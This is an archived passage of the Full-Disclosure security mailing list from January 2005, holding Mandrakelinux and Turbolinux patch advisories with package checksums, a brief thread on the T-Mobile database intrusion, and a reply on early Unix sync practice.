 d14d300215f734dc6eafb63c78957399  amd64/10.0/RPMS/lib64imlib2_1-1.0.6-4.2.100mdk.amd64.rpm
 46656504ac97b356c559134b718ad65b  amd64/10.0/RPMS/lib64imlib2_1-devel-1.0.6-4.2.100mdk.amd64.rpm
 6f2bbe8bef5bd694a6b062f0dfa50667  amd64/10.0/RPMS/lib64imlib2_1-filters-1.0.6-4.2.100mdk.amd64.rpm
 98279179853713a4ff3e328275d39c9f  amd64/10.0/RPMS/lib64imlib2_1-loaders-1.0.6-4.2.100mdk.amd64.rpm
 9382c1d6bce0884340042fa9e525fd08  amd64/10.0/SRPMS/imlib-1.9.14-8.2.100mdk.src.rpm
 7698695bd2daa38fba1612c1e91a5b3a  amd64/10.0/SRPMS/imlib2-1.0.6-4.2.100mdk.src.rpm

 Mandrakelinux 10.1:
 b804394b67f0b9bb15c1a2704f20b8fd  10.1/RPMS/imlib-1.9.14-10.1.101mdk.i586.rpm
 5dbd8093bb1c95dcf04d1e3cafee8379  10.1/RPMS/imlib-cfgeditor-1.9.14-10.1.101mdk.i586.rpm
 74fe1d864ceaf4b1f9915dbc65fc837d  10.1/RPMS/libimlib1-1.9.14-10.1.101mdk.i586.rpm
 c0392b410caf1fe46414cc4ce5d5c502  10.1/RPMS/libimlib1-devel-1.9.14-10.1.101mdk.i586.rpm
 e16941d022d2b244f58c538d096f9197  10.1/RPMS/libimlib2_1-1.1.0-4.1.101mdk.i586.rpm
 2ad468fc89027a25fccf0b2264ab3846  10.1/RPMS/libimlib2_1-devel-1.1.0-4.1.101mdk.i586.rpm
 a98356b5cc103684758a82779b16d9b3  10.1/RPMS/libimlib2_1-filters-1.1.0-4.1.101mdk.i586.rpm
 801a3eb303cc342880166557697479c6  10.1/RPMS/libimlib2_1-loaders-1.1.0-4.1.101mdk.i586.rpm
 e6bd5e4f0bc5978fb3a8d26ae5c5dd72  10.1/SRPMS/imlib-1.9.14-10.1.101mdk.src.rpm
 f096122ff3f7446a973f82569ce6d19b  10.1/SRPMS/imlib2-1.1.0-4.1.101mdk.src.rpm

 Mandrakelinux 10.1/X86_64:
 42e81c0bad99a2a9eff7fff43b38de2f  x86_64/10.1/RPMS/imlib-1.9.14-10.1.101mdk.x86_64.rpm
 35b869d568d1b0cce730ef4f3c5d2f71  x86_64/10.1/RPMS/imlib-cfgeditor-1.9.14-10.1.101mdk.x86_64.rpm
 ddf5381735f1ed8ed482d179a9c42de1  x86_64/10.1/RPMS/lib64imlib1-1.9.14-10.1.101mdk.x86_64.rpm
 583fdf2bf60cc87927db70af044238ff  x86_64/10.1/RPMS/lib64imlib1-devel-1.9.14-10.1.101mdk.x86_64.rpm
 99011882872248e9c9aef49eb78fe683  x86_64/10.1/RPMS/lib64imlib2_1-1.1.0-4.1.101mdk.x86_64.rpm
 aa42db65e9630f21240c147ca4922127  x86_64/10.1/RPMS/lib64imlib2_1-devel-1.1.0-4.1.101mdk.x86_64.rpm
 320cf06b9011f6825604d9592df0d5d7  x86_64/10.1/RPMS/lib64imlib2_1-filters-1.1.0-4.1.101mdk.x86_64.rpm
 010da67dacee54bf6cde18d2324ff96a  x86_64/10.1/RPMS/lib64imlib2_1-loaders-1.1.0-4.1.101mdk.x86_64.rpm
 e6bd5e4f0bc5978fb3a8d26ae5c5dd72  x86_64/10.1/SRPMS/imlib-1.9.14-10.1.101mdk.src.rpm
 f096122ff3f7446a973f82569ce6d19b  x86_64/10.1/SRPMS/imlib2-1.1.0-4.1.101mdk.src.rpm

 Corporate Server 2.1:
 ab41a6e06b2c394050ddeb285f621695  corporate/2.1/RPMS/imlib-1.9.14-5.2.C21mdk.i586.rpm
 9d05176150bdf59ceecf40241a1631f5  corporate/2.1/RPMS/imlib-cfgeditor-1.9.14-5.2.C21mdk.i586.rpm
 52b5c874ee7e144d85039aa49682ad3f  corporate/2.1/RPMS/libimlib1-1.9.14-5.2.C21mdk.i586.rpm
 e260cdadcdf523def0d4b66115b8320a  corporate/2.1/RPMS/libimlib1-devel-1.9.14-5.2.C21mdk.i586.rpm
 1c12ac001c73155f2e923816da7047c0  corporate/2.1/RPMS/libimlib2_1-1.0.5-2.2.C21mdk.i586.rpm
 70a4a84f76bbb393df69b4ab117cdbb6  corporate/2.1/RPMS/libimlib2_1-devel-1.0.5-2.2.C21mdk.i586.rpm
 264d82ddd09ebf4c1ae1fdb88e794f40  corporate/2.1/RPMS/libimlib2_1-filters-1.0.5-2.2.C21mdk.i586.rpm
 a847cb7487e25a62748b7ee266984a0e  corporate/2.1/RPMS/libimlib2_1-loaders-1.0.5-2.2.C21mdk.i586.rpm
 ca39e30856216675d571f9f9f9a2b4be  corporate/2.1/SRPMS/imlib-1.9.14-5.2.C21mdk.src.rpm
 e7e6f332b38fd76ec211fbbc46212a50  corporate/2.1/SRPMS/imlib2-1.0.5-2.2.C21mdk.src.rpm

 Corporate Server 2.1/x86_64:
 fa90e46be3192cbab1a1444624ca40a5  x86_64/corporate/2.1/RPMS/imlib-1.9.14-5.2.C21mdk.x86_64.rpm
 9c5aef1f71673548fcdc9b3206941837  x86_64/corporate/2.1/RPMS/imlib-cfgeditor-1.9.14-5.2.C21mdk.x86_64.rpm
 15d184b211666b7276e0a1300b669649  x86_64/corporate/2.1/RPMS/libimlib1-1.9.14-5.2.C21mdk.x86_64.rpm
 cf09dfd10b3cbf2685e4c6584eddee9e  x86_64/corporate/2.1/RPMS/libimlib1-devel-1.9.14-5.2.C21mdk.x86_64.rpm
 0f23c5a1360a652e38f7c01311b4a79e  x86_64/corporate/2.1/RPMS/libimlib2_1-1.0.5-2.2.C21mdk.x86_64.rpm
 ab887e8c51e6576b2669cc9221573e2e  x86_64/corporate/2.1/RPMS/libimlib2_1-devel-1.0.5-2.2.C21mdk.x86_64.rpm
 8f53044bc07b6426b425fc9593f893fb  x86_64/corporate/2.1/RPMS/libimlib2_1-filters-1.0.5-2.2.C21mdk.x86_64.rpm
 cb4f6b69b23b18b10412e85446339597  x86_64/corporate/2.1/RPMS/libimlib2_1-loaders-1.0.5-2.2.C21mdk.x86_64.rpm
 ca39e30856216675d571f9f9f9a2b4be  x86_64/corporate/2.1/SRPMS/imlib-1.9.14-5.2.C21mdk.src.rpm
 e7e6f332b38fd76ec211fbbc46212a50  x86_64/corporate/2.1/SRPMS/imlib2-1.0.5-2.2.C21mdk.src.rpm

 Mandrakelinux 9.2:
 79bdc3aa16d848940ed1cf94e19887a8  9.2/RPMS/imlib-1.9.14-8.2.92mdk.i586.rpm
 72df820a8b61c902e2a6332c99aab1c4  9.2/RPMS/imlib-cfgeditor-1.9.14-8.2.92mdk.i586.rpm
 a2b76c722b5ae0007a6ad59bc31cfb8d  9.2/RPMS/libimlib1-1.9.14-8.2.92mdk.i586.rpm
 441bf743e1762a8a0743058af6ac57ca  9.2/RPMS/libimlib1-devel-1.9.14-8.2.92mdk.i586.rpm
 d70303d4fcd33aa96623d126fddcaaa7  9.2/RPMS/libimlib2_1-1.0.6-4.2.92mdk.i586.rpm
 3cd32605bfdcf4c500716cd7d5b7a3e7  9.2/RPMS/libimlib2_1-devel-1.0.6-4.2.92mdk.i586.rpm
 62b1faf5b90cd88f17e18d5a7d38c641  9.2/RPMS/libimlib2_1-filters-1.0.6-4.2.92mdk.i586.rpm
 0d939526721cfe411ee5ef785de2b0d3  9.2/RPMS/libimlib2_1-loaders-1.0.6-4.2.92mdk.i586.rpm
 40f1dd9fd95b30eba31a44394e2b73c2  9.2/SRPMS/imlib-1.9.14-8.2.92mdk.src.rpm
 7ad3b6b6914332ca7c344df43814465f  9.2/SRPMS/imlib2-1.0.6-4.2.92mdk.src.rpm

 Mandrakelinux 9.2/AMD64:
 25edf03f98c07e50d6be3feabcc65738  amd64/9.2/RPMS/imlib-1.9.14-8.2.92mdk.amd64.rpm
 8ad4f7a5276450271a3497e0eda5b172  amd64/9.2/RPMS/imlib-cfgeditor-1.9.14-8.2.92mdk.amd64.rpm
 5dd09c5e9c63016451162ae3ec73fd58  amd64/9.2/RPMS/lib64imlib1-1.9.14-8.2.92mdk.amd64.rpm
 40cd5079caa745125e8160de58bd64fe  amd64/9.2/RPMS/lib64imlib1-devel-1.9.14-8.2.92mdk.amd64.rpm
 fbf581720a50a7cc8052da20f63de75f  amd64/9.2/RPMS/lib64imlib2_1-1.0.6-4.2.92mdk.amd64.rpm
 e37d711c09e62f40965c37316fd67f0b  amd64/9.2/RPMS/lib64imlib2_1-devel-1.0.6-4.2.92mdk.amd64.rpm
 2bda7e59415e5774cd68f2b2a080c1a7  amd64/9.2/RPMS/lib64imlib2_1-filters-1.0.6-4.2.92mdk.amd64.rpm
 26e31fe0f48212b698cd612dba1a7c5a  amd64/9.2/RPMS/lib64imlib2_1-loaders-1.0.6-4.2.92mdk.amd64.rpm
 40f1dd9fd95b30eba31a44394e2b73c2  amd64/9.2/SRPMS/imlib-1.9.14-8.2.92mdk.src.rpm
 7ad3b6b6914332ca7c344df43814465f  amd64/9.2/SRPMS/imlib2-1.0.6-4.2.92mdk.src.rpm
 _______________________________________________________________________

 To upgrade automatically use MandrakeUpdate or urpmi.  The verification
 of md5 checksums and GPG signatures is performed automatically for you.

 All packages are signed by Mandrakesoft for security.  You can obtain
 the GPG public key of the Mandrakelinux Security Team by executing:

  gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98

 You can view other update advisories for Mandrakelinux at:

  http://www.mandrakesoft.com/security/advisories

 If you want to report vulnerabilities, please contact

  security_linux-mandrake.com

 Type Bits/KeyID     Date       User ID
 pub  1024D/22458A98 2000-07-10 Linux Mandrake Security Team
  <security linux-mandrake.com>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFB5hZWmqjQ0CJFipgRAm7IAJ0QpDBSCiSo1f3eTwNctg+/PlmL1wCgzZSR
JwJJCFTTko8xLciKKnAAL8g=
=3HLq
-----END PGP SIGNATURE-----


From xillwillx at gmail.com  Thu Jan 13 06:34:51 2005
From: xillwillx at gmail.com (Ill will)
Date: Thu, 13 Jan 2005 01:34:51 -0500
Subject: [Full-Disclosure] T-Mobile Hacker and server vulnerabilities
In-Reply-To: <e006fdd505011214194e969f0b@mail.gmail.com>
References: <200501121700.j0CH0K9g013975@lists.netsys.com>
	<1105555430.9780.12.camel@localhost.localdomain>
	<e006fdd505011214194e969f0b@mail.gmail.com>
Message-ID: <47fe50605011222344c2cbd9a@mail.gmail.com>

the flaw was in a third party software they used .. as for the pics we
won't be releasing them yet


On Wed, 12 Jan 2005 16:19:25 -0600, hevnsnt <hevnsnt at gmail.com> wrote:
> PICS?
> 
> On Wed, 12 Jan 2005 13:43:50 -0500, Kristian Hermansen
> <khermansen at ht-technology.com> wrote:
> > Does anyone have specifics on how this hacker Jacobson exploited flaws
> > in the T-Mobile server applications to gain entry to the back-end
> > database?  Was it some gross oversight on T-Mobile's part or something
> > more obscure that admins should know about?  The Secret Service seems to
> > believe that either his skills or his underground connections will allow
> > him to be their personal slut for the next few years.
> >
> > http://www.securityfocus.com/news/10271
> >
> > Oh, and if anyone has some of the celebrity pictures that he snarfed
> > from the database I would care for a link!
> > --
> > Kristian Hermansen <khermansen at ht-technology.com>
> >
> >
> > _______________________________________________
> > Full-Disclosure - We believe in it.
> > Charter: http://lists.netsys.com/full-disclosure-charter.html
> >
> >
> >
> >
> 
> 
> --
> Do yourself (and the rest of the internet) a favor, Get Firefox!
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
> 


-- 
- illwill
http://illmob.org


From roman.kunz at juliusbaer.com  Thu Jan 13 07:29:01 2005
From: roman.kunz at juliusbaer.com (roman.kunz at juliusbaer.com)
Date: Thu, 13 Jan 2005 08:29:01 +0100
Subject: [Full-Disclosure] T-Mobile Hacker and server vulnerabilities
In-Reply-To: <47fe50605011222344c2cbd9a@mail.gmail.com>
Message-ID: <OFD38D351F.79F757F2-ONC1256F88.0028F418-C1256F88.0029228E@juliusbaer.com>

...poser ;-)


-----

he flaw was in a third party software they used .. as for the pics we
won't be releasing them yet




*****Disclaimer*****
  This message is for the addressee only and may contain confidential or privileged information. You must delete and not use it if you are not the intended recipient. It may not be secure or error-free. All e-mail communications to and from the Julius Baer Group may be monitored. Processing of incoming e-mails cannot be guaranteed. Any views expressed in this message are those of the individual sender. This message is for information purposes only. All liability of the Julius Baer Group and its entities for any damages resulting from e-mail use is excluded. US persons are kindly requested to read the important legal information presented at following URL: http://www.juliusbaer.com/maildisclaimer


-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050113/39409c9b/attachment.html 

From Valdis.Kletnieks at vt.edu  Thu Jan 13 08:15:52 2005
From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu)
Date: Thu, 13 Jan 2005 03:15:52 -0500
Subject: [Full-Disclosure] T-Mobile Hacker and server vulnerabilities 
In-Reply-To: Your message of "Thu, 13 Jan 2005 01:34:51 EST."
	<47fe50605011222344c2cbd9a@mail.gmail.com> 
References: <200501121700.j0CH0K9g013975@lists.netsys.com>
	<1105555430.9780.12.camel@localhost.localdomain>
	<e006fdd505011214194e969f0b@mail.gmail.com>
	<47fe50605011222344c2cbd9a@mail.gmail.com>
Message-ID: <200501130816.j0D8Fttm006477@turing-police.cc.vt.edu>

On Thu, 13 Jan 2005 01:34:51 EST, Ill will said:
> the flaw was in a third party software they used .. as for the pics we
> won't be releasing them yet

One has to wonder which tabloid will win the bidding war for the pics. ;)
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 226 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050113/07260092/attachment.bin 

From dave at horsfall.org  Thu Jan 13 10:34:55 2005
From: dave at horsfall.org (Dave Horsfall)
Date: Thu, 13 Jan 2005 21:34:55 +1100 (EST)
Subject: [Full-Disclosure] Reality, humor, and history (was Re: MORE
	CRITICAL FLAWS IN MS WINDOWS EXPLORER 
In-Reply-To: <200501120936.j0C9arSp025309@turing-police.cc.vt.edu>
References: <200501120435.j0C4Zars018630@lists.netsys.com>
	<046c01c4f873$3f351f30$0500a8c0@apollo>
	<200501120936.j0C9arSp025309@turing-police.cc.vt.edu>
Message-ID: <Pine.BSI.4.61.0501132118311.25687@dave.horsfall.org>

On Wed, 12 Jan 2005 Valdis.Kletnieks at vt.edu wrote:

> (*) My all-time favorite "Close, but no ceee-gar" was the advice column for a
> Unix journal where the author *remembered* the old "3 syncs before halt"
> adage - but got it Very Wrong by advising "sync;sync;sync;halt".  Bonus
> points if you can remember (a) the *original* reason for the advice *and* 
> (b) how this version was Very Wrong (there's *multiple* answers for this one ;)

Early Unixes -- especially those with slow disks such as the RK05 -- could 
take several seconds to flush the buffered data to disk.  The sync() call 
only *scheduled* the flush and returned right away, thus the disk data 
(especially the meta-data such as inodes etc) may not be up to date when 
you hit the switch (early Unixes did not have a halt command).

By typing:

# sync
# sync
# sync

i.e. by waiting for the command to return, thrice, you were reasonably 
sure that the buffers were flushed, especially if you could see the disk 
activity lamps (not LEDs in those days).

By using "sync; sync; sync" the operator did not have to wait, and so was 
lulled into a false sense of security.

This was really important in those days, because the filesystem simply was 
not as resilient as it is now; a power failure *guaranteed* that you would 
lose files, and it was time for "check" (in Edition 5, and which became 
ncheck/dcheck/icheck and eventually fsck) and "clri".

-- Dave, who had creamed several PDP-11 Unixes in his time


From security-announce at turbolinux.co.jp  Thu Jan 13 10:41:20 2005
From: security-announce at turbolinux.co.jp (Turbolinux)
Date: Thu, 13 Jan 2005 19:41:20 +0900
Subject: [Full-Disclosure] [TURBOLINUX SECURITY INFO] 13/Jan/2005
Message-ID: <200501131941.27927.security-announce@turbolinux.co.jp>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

This is an announcement only email list for the x86 architecture.
============================================================
Turbolinux Security Announcement 13/Jan/2005
============================================================

The following page contains the security information of Turbolinux Inc.

 - Turbolinux Security Center
   http://www.turbolinux.com/security/

 (1) php -> Multiple vulnerabilities in php
 (2) httpd -> Multiple vulnerabilities in httpd

===========================================================
* php -> Multiple vulnerabilities in php
===========================================================

 More information :
    PHP is an HTML-embedded scripting language.

    Buffer overflow vulnerabilities have been discovered in the nserialize
    and exif_read_data functions of PHP.

 Impact :
    The vulnerabilities can allow remote attackers to cause a denial of
    service and possibly execute arbitrary code.

 Affected Products :
    - Turbolinux 10 Server
    - Turbolinux Home
    - Turbolinux 10 F...
    - Turbolinux 10 Desktop
    - Turbolinux 8 Server
    - Turbolinux 8 Workstation

 Solution :
    Please use the turbopkg (zabom) tool to apply the update. 
 ---------------------------------------------
 [Turbolinux 10 Server, Turbolinux 10 Desktop, Turbolinux 10 F..., Turbolinux Home]
 # zabom -u php4 php4-gd php4-imap php4-ldap php4-manual php4-ming php4-mysql php4-pgsql

 [other]
 # turbopkg
 or
 # zabom update php php-gd php-imap php-ldap php-manual php-ming php-mysql php-pgsql
 ---------------------------------------------


 <Turbolinux 10 Server>

   Source Packages
   Size : MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/SRPMS/php4-4.3.8-11.src.rpm
     12304115 3cec9c192cb53ab27459a9862efc5d9d

   Binary Packages
   Size : MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/php4-4.3.8-11.i586.rpm
      5137588 13f6d61aefd07e7674a174e73f95dac1
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/php4-debug-4.3.8-11.i586.rpm
      6519408 77094cb1256cc9f9b72fa95ffa557961
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/php4-gd-4.3.8-11.i586.rpm
        44804 2e5dbdf7a3cd6c4d9d335b9d0454690f
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/php4-imap-4.3.8-11.i586.rpm
        10763 981373ebead5f89c3ad21849ab64bb9a
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/php4-ldap-4.3.8-11.i586.rpm
        34436 65670f263735f2645c4126b19a8913ff
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/php4-manual-4.3.8-11.i586.rpm
      7502182 65dbe4e60bda685fce0d3ad2f1551457
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/php4-ming-4.3.8-11.i586.rpm
        45536 98ed5c3c7b22d2496e953d8d074de558
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/php4-mysql-4.3.8-11.i586.rpm
       119870 c8c8bf249d106d78a5be7358ff247cf4
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/php4-pgsql-4.3.8-11.i586.rpm
        68887 8a51ec5a9cd5833c4ae9c43d629ea252

 <Turbolinux 10 Desktop, Turbolinux 10 F..., Turbolinux Home>

   Source Packages
   Size : MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/SRPMS/php4-4.3.3-7.src.rpm
      4179207 9407355f70cbc4c14ea9bfdfac154015

   Binary Packages
   Size : MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/php4-4.3.3-7.i586.rpm
      2735662 f4dd577a3b8bc5c33cc73cc015cb6584
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/php4-gd-4.3.3-7.i586.rpm
        30563 85965bd7a78ad8bf30eb7a9aed065e1f
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/php4-imap-4.3.3-7.i586.rpm
         9256 e41b9edacac390204979dc7e1f9f2d61
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/php4-ldap-4.3.3-7.i586.rpm
        23627 0abf252cbe840e040f8ece116631ffd5
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/php4-manual-4.3.3-7.i586.rpm
       341639 ee222270c41de1653554112bb302ce73
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/php4-ming-4.3.3-7.i586.rpm
        30139 cb32cd256566b288640628ca38278dac
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/php4-mysql-4.3.3-7.i586.rpm
        81109 3f36b87058d8378e6c584920835703ee
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/php4-pgsql-4.3.3-7.i586.rpm
        47675 60777bad904b8014043c8287d3e00e4e

 <Turbolinux 8 Server>

   Source Packages
   Size : MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/SRPMS/php-4.2.3-24.src.rpm
      3596640 4f2aea3ebf6ff00dc2f9ef2185c629e7

   Binary Packages
   Size : MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/php-4.2.3-24.i586.rpm
      1632058 776e270a3567b5c2d186544cfd495a6c
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/php-gd-4.2.3-24.i586.rpm
        31216 87fbf08da30e4ae58ba7fa46aefecc8b
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/php-imap-4.2.3-24.i586.rpm
         9235 d8cf0364ce2faf7b1f26c356629b3acd
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/php-ldap-4.2.3-24.i586.rpm
        24685 ac6bfe61cadcb49519415c7f6a09f0fd
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/php-manual-4.2.3-24.i586.rpm
       341741 3b83b1f9ef2d4ac998cf456a78b7182f
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/php-ming-4.2.3-24.i586.rpm
        33237 9e8f23b30be928c175d72e4bb7407f4f
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/php-mysql-4.2.3-24.i586.rpm
        90789 c10689afe393966cae1fd43911c2f0fd
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/php-pgsql-4.2.3-24.i586.rpm
        35467 ef15fd420e89ab8d8284534b4da8dcc1

 <Turbolinux 8 Workstation>

   Source Packages
   Size : MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/SRPMS/php-4.2.3-24.src.rpm
      3596640 c49321398dcc7f999d5ec7c459f12954

   Binary Packages
   Size : MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/php-4.2.3-24.i586.rpm
      1632174 465f0707e702870b8c68fd69f38cf3bc
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/php-gd-4.2.3-24.i586.rpm
        31232 d65bfbd198da2fa27adb30da07b46cdd
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/php-imap-4.2.3-24.i586.rpm
         9234 2751549b7027dd2c5b09a759778d3793
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/php-ldap-4.2.3-24.i586.rpm
        24679 895f5387463625de0a5aca57e02de557
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/php-manual-4.2.3-24.i586.rpm
       341765 12d2bd9bf6ca4848b3c41a5f1539ea74
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/php-ming-4.2.3-24.i586.rpm
        33223 1174db9d2d84427a41e67957e4fdea6b
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/php-mysql-4.2.3-24.i586.rpm
        90840 c4a492770d25472acce0c41f95e75a1f
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/php-pgsql-4.2.3-24.i586.rpm
        35512 9dd622d90b73e1f5fbe979870eaa2172

 <Turbolinux 7 Server>

   Source Packages
   Size : MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/SRPMS/php-4.2.3-24.src.rpm
      3596640 a8c3b99e7674f8a2fe119b427a02e939

   Binary Packages
   Size : MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/php-4.2.3-24.i586.rpm
      1603262 5586a4dde1f5acb861d9982a2a057630
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/php-imap-4.2.3-24.i586.rpm
         9236 07b780d86295569b599a6c7467480ad8
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/php-ldap-4.2.3-24.i586.rpm
        24242 3b1e22d2a11d793f1911da084d6d19b3
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/php-manual-4.2.3-24.i586.rpm
       341734 8390e86c4174e52bf7fa69f8b7b693db
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/php-mysql-4.2.3-24.i586.rpm
        86660 a12aa6e7ef466d734331faa0cf6dd42d
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/php-pgsql-4.2.3-24.i586.rpm
        35327 1411e61b2aad435eb13207ee2dc3407e

 <Turbolinux 7 Workstation>

   Source Packages
   Size : MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/SRPMS/php-4.2.3-24.src.rpm
      3596640 7f85391671841ef657f3128d924c6c76

   Binary Packages
   Size : MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/php-4.2.3-24.i586.rpm
      1602364 9eed8b51ca59989eda6728813717be33
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/php-imap-4.2.3-24.i586.rpm
         9237 1742ab7b7814a3cd61597a32a0c6ebe6
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/php-ldap-4.2.3-24.i586.rpm
        24250 223cca0fe750193ba65849379753daaf
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/php-manual-4.2.3-24.i586.rpm
       341732 9cc93603cb0f12480198bfdcf7a4da57
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/php-mysql-4.2.3-24.i586.rpm
        86625 70e412ef96b3e804de8ee34c1a39aa33
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/php-pgsql-4.2.3-24.i586.rpm
        34982 64b4fc35c3e1a456862c5ef26d541432


 Notice:
    After performing the update, it is necessary to restart the httpd daemon.
    To do this, run the following command as user root.
 ---------------------------------------------
 # /etc/init.d/httpd restart
 or
 # /etc/rc.d/init.d/httpd restart
 ---------------------------------------------

 References:

 CVE
   [CAN-2004-1019]
   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1019
   [CAN-2004-1065]
   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1065


===========================================================
* httpd -> Multiple vulnerabilities in httpd
===========================================================

 More information :
    Apache is a powerful, full-featured, efficient, and freely-available
    Web server.  Apache is also the most popular Web server on the Internet.

    Please refer to the References section for further information.

 Impact :
    The vulnerabilities could allow remote attackers to cause a denial of
    service and possibly execute arbitrary code.

 Affected Products :
    - Turbolinux 10 Server
    - Turbolinux Home
    - Turbolinux 10 F...
    - Turbolinux 10 Desktop

 Solution :
    Please use the turbopkg (zabom) tool to apply the update. 
 ----------------------------------------
 [Turbolinux 10 Server]
 # zabom -u httpd httpd-debug httpd-devel httpd-manual mod_bwshare mod_ssl

 [Turbolinux 10 Server, Turbolinux 10 Desktop, Turbolinux 10 F..., Turbolinux Home]
 # zabom -u httpd
 ----------------------------------------


 <Turbolinux 10 Server>

   Source Packages
   Size : MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/SRPMS/httpd-2.0.51-8.src.rpm
      6842122 6f911bda264f6b7b9989f5c1e81d4ac0

   Binary Packages
   Size : MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/httpd-2.0.51-8.i586.rpm
      1032135 214e7c3d1c27cd45e0791d0f85d0d087
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/httpd-debug-2.0.51-8.i586.rpm
